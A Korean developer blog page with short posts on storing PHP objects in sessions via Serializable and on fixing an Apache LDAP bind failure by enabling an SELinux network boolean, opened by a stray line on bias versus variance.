high bias인지 high variance인지 어떻게 아는가는... 당연히 [5]learning curve를 그려보면 됩니다.

$_SESSION에 그냥 string을 저장하는 것은 쉽다.

$_SESSION['var_name'] = "value"; 로 하면 되니까.

하지만 class의 경우에는 이게 쉽지 않다 -_-;

$_SESSION['var_name'] = new MyClass();

라고 하면 저장이 잘 된것 같아보이지만.. 새로고침을 하고 var_dump($_SESSION['var_name]);를 해보면?

Case 1) __PHP_Incomplete_Class Name

          -> Class의 정의를 session_start() 하기 전에 포함시킨다(include를 하든 뭘 하든).

Case 2) null

          -> class MyClass implements Serializable { /* ... */ public function serialize(){/*...*/} public function unserialize($data){/*...*/} }

             처럼 Serializable 를 상속한 다음, [un]serialize 메소드를 구현한다 (좋은 링크).

(주의: 케이스를 나눠놓았지만 사실 둘 다 해야합니다!)

왜 이래야 하냐면, $_SESSION 안의 Object는 자동으로 각 페이지가 끝날 때 serialize()되어 세션에 저장되고, 각 페이지가 로드될 때 다시 unserialize() 되기 때문이다!

php에서 ldap_bind()를 써서 코딩하려고 했는데,
하...
LDAP가 안 된다 ㅠㅠ ldap_bind만 하면 에러..

 ldap_bind(): Unable to bind to server: Can't contact LDAP server in ...

ldapsearch 유틸로는 잘 되는데 이건 안돌아가서 멘탈붕괴가 시작되던 찰나,
아 설마.. 하고 php를 명령줄에서 실행했더니 결과가 정상..

 $ php ldap_test.php
   true

결국 apache가 실행하면 안되는거였다 ㅠㅠ
이걸 해결하기 위해서는 httpd가 network 접속을 수행할 수 있도록 selinux 설정을 변경해야 한다.

 # setsebool -P httpd_can_network_connect=1